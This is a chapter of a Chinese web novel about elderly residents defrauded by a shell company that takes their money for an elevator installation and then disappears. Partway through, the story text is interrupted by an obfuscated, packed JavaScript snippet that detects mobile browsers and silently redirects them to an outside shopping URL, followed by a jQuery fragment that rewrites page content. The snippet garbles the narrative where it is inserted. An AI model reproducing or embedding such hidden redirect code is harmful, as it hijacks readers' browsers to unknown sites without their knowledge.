台下响起议论声,有人低头和身边人小声交流。
一个奶奶扶着椅子扶手站起来,声音有点发颤。
“太贵了,能不能分期?”
“可以办理银行贷款,我们和农商行有合作。”
项目经理推了推眼镜,语气依旧客气。
王伯坐在前排,手指在膝盖上轻轻敲着,最后还是小声对苏白说。
“我都七十五了,贷什么款……”
说明会结束后,几个住户围着项目经理继续询问,七嘴八舌的。
苏白站在旁边,注意到项目经理虽然态度很好,但对具体细节总是含糊其词,眼神偶尔会飘。
“电梯品牌是哪家?”
一个穿夹克的大叔追问,语气带着警惕。
“我们会选用性价比最高的国产品牌。”
项目经理笑了笑,没说具体名字。
“保修期多久?”
另一个阿姨接着问,手里还拿着笔准备记。
“按照国家规定,一年保修。”
项目经理回答得很快,说完还往后退了半步。
王伯最终在意向书上签了字,笔尖顿了顿才落下名字。
“没办法。”
他对苏白说,抬手揉了揉膝盖。
“年纪大了,爬楼实在吃力。”
一周后,施工队进场了,穿着统一的蓝色工装。
先在单元门口搭起围挡,蓝色的帆布上印着惠民工程四个字。
每天早晨七点准时开工,电钻声、敲打声混在一起,噪音很大。
苏白站在窗边听着,发现施工队经常更换工人,今天来的和昨天的面孔大多不一样。
施工工具也比较老旧,有的铁锹柄都裂了缝。
有天晚上他下楼倒垃圾,看见两个工人在围挡里吵架,声音很大。
“材料不够了,明天怎么施工?”
一个工人把手里的扳手往地上一扔,语气很冲。
“老板说先用着,后续材料过几天到。”
另一个工人蹲在地上,抓了抓头发,语气无奈。
第二天,施工果然停了,围挡里安安静静的。
项目经理在业主群里发了条语音,声音有点含糊。
“部分材料需要调货,停工三天。”
王伯很着急,每天吃完早饭就下楼,站在围挡外往里看,脖子伸得很长。
苏白陪他站在围挡外,看见里面堆着一些钢筋和水泥,但没有工人在作业。
“我这钱交得是不是太急了……”
王伯喃喃自语,手指攥着围挡的帆布边缘,眼神很失落。
停工第五天,有个工人偷偷拉了拉苏白的衣角,左右看了看才开口。
“公司资金链可能出了问题,我们已经两个月没发工资了。”
苏白按工人说的地址,去了惠民公司的注册地。
一栋写字楼里的共享办公室。
前台告诉他,惠民公司只租了一个工位,最近都没人来。
他联系了之前装过电梯的小区住户,电话接通后还能听见那边的电视声。
一位大妈在电话里叹气,语气很不满。
“装是装好了,但老是坏。保修期内就坏了三次,现在过保了,维修一次要两千多。”
“当时装的什么品牌?”
苏白追问,手里拿着笔准备记下来。
“没听说过的小牌子,机身上面连个正经logo都没有。”
大妈的声音拔高了些,带着委屈。
又过了一周,施工队彻底不见了,围挡里的工具也少了大半。
项目经理的电话打不通,一直是关机状态。
业主群里炸开了锅,消息一条接一条地跳出来。
王伯病倒了,躺在床上脸色苍白,说话都没力气。
苏白去看他时,他拉着苏白的手不停叹气。
“一辈子的积蓄啊……”
社区工作人员也很无奈,双手摊了摊。
“我们只是协助宣传,具体施工和资金我们也不懂。”
苏白陪着几位住户去了派出所,接待的**拿出纸笔记录。
警察看完材料,语气很平和地解释。
“这属于合同纠纷,建议你们收集证据走法律程序。”
从派出所出来,大家在路边站着,没人说话,风一吹都裹紧了衣服。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570934|184257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个阿姨突然哭了,手捂着嘴,肩膀不停抖。
“我儿子残疾,就是因为听说要装电梯,我们才买的七楼……”
苏白托朋友查了惠民公司的资金流向,电脑屏幕上的转账记录很清晰。
大部分工程款都转入了一个建材公司账户,而这家建材公司的控股方,是鑫隆资本旗下的子公司。
他约见了李文耀,选在之前常去的茶馆,靠窗的位置。
新能源项目成功后,李文耀在本地商界地位更高了,穿着定制西装,气质都不一样了。
“惠民公司?没听说过。”
李文耀端起茶杯抿了一口,眉头皱了皱。
“不过老旧小区改造确实是个大市场,最近很多资本都盯着。”
“鑫隆资本在这个领域有投资吗?”
苏白盯着李文耀的眼睛,语气很直接。
“他们什么赚钱投什么。”
李文耀放下茶杯,手指在桌沿敲了敲。
“最近确实在布局城市更新板块,具体投了哪些公司我就不清楚了。”
回到家,苏白把所有资料整理好:惠民公司的注册信息、施工问题的照片、资金流向记录,还有住户的情况说明。
他没有立即行动,每天早上买完早餐,都会去王伯家楼下转一圈。
王伯的身体慢慢好转,能下床走动了,但心情一直很低落,话也少了。
“就当买个教训吧。”
王伯坐在楼下的长椅上,看着空着的围挡,苦笑着说。
这天下午,苏白在菜市场遇见那个残疾小伙子的母亲,她手里提着一个小菜篮。
菜篮里只有几样便宜的蔬菜,连点肉都没有。
“阿姨,最近怎么样?”
苏白主动打招呼,目光落在她的菜篮上。
“还能怎么样……”
她摇摇头,声音很轻。
“准备把房子卖了,换个一楼住,哪怕小一点也行。”
“再等等看。”
苏白看着她,语气很肯定。
“等什么?钱都要不回来了,房子也不好卖。”
阿姨叹了口气,转身慢慢走了。